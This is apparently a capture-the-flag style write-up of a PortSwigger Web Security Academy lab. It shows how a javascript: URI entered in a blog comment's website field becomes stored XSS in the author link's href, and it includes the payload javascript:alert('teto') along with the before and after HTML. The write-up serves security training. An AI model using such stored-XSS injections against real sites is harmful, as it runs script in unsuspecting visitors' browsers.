Skip to content

Stored XSS — javascript: URI in Website Field

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Stored Cross-Site Scripting (XSS) — javascript: URI
Difficulty Apprentice
Injection Point Website field in comment section → populates href attribute
Goal Store a javascript: URI that executes when the author link is clicked

Phase 1 — Identifying the Sink

Navigating to a blog post and opening the comment section:

Screenshot

Leaving a comment with a normal URL in the website field and inspecting the resulting HTML:

<p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">
    <a id="author" href="www.teto.com">Teto</a> | 11 May 2026
</p>

The website field populates the href attribute of the author link directly — no scheme validation, no sanitization. This is the same sink as the DOM XSS jQuery href lab, but here the payload is stored in the database rather than read from the URL.


Phase 2 — Exploitation

Substituting the URL with a javascript: URI:

Website: javascript:alert('teto')

The resulting stored HTML:

<p>
    <img src="/resources/images/avatarDefault.svg" class="avatar">
    <a id="author" href="javascript:alert('teto')">Teto</a> | 11 May 2026
</p>
Screenshot

Clicking the author name triggered the alert. Lab solved.


Conclusion

  1. The website field in the comment form populated the href attribute of the author link without URL scheme validation.
  2. Submitting javascript:alert('teto') as the website value stored the javascript: URI in the database.
  3. The stored payload is now served to every visitor who views the post — clicking the author name executes the JavaScript in any visitor's browser.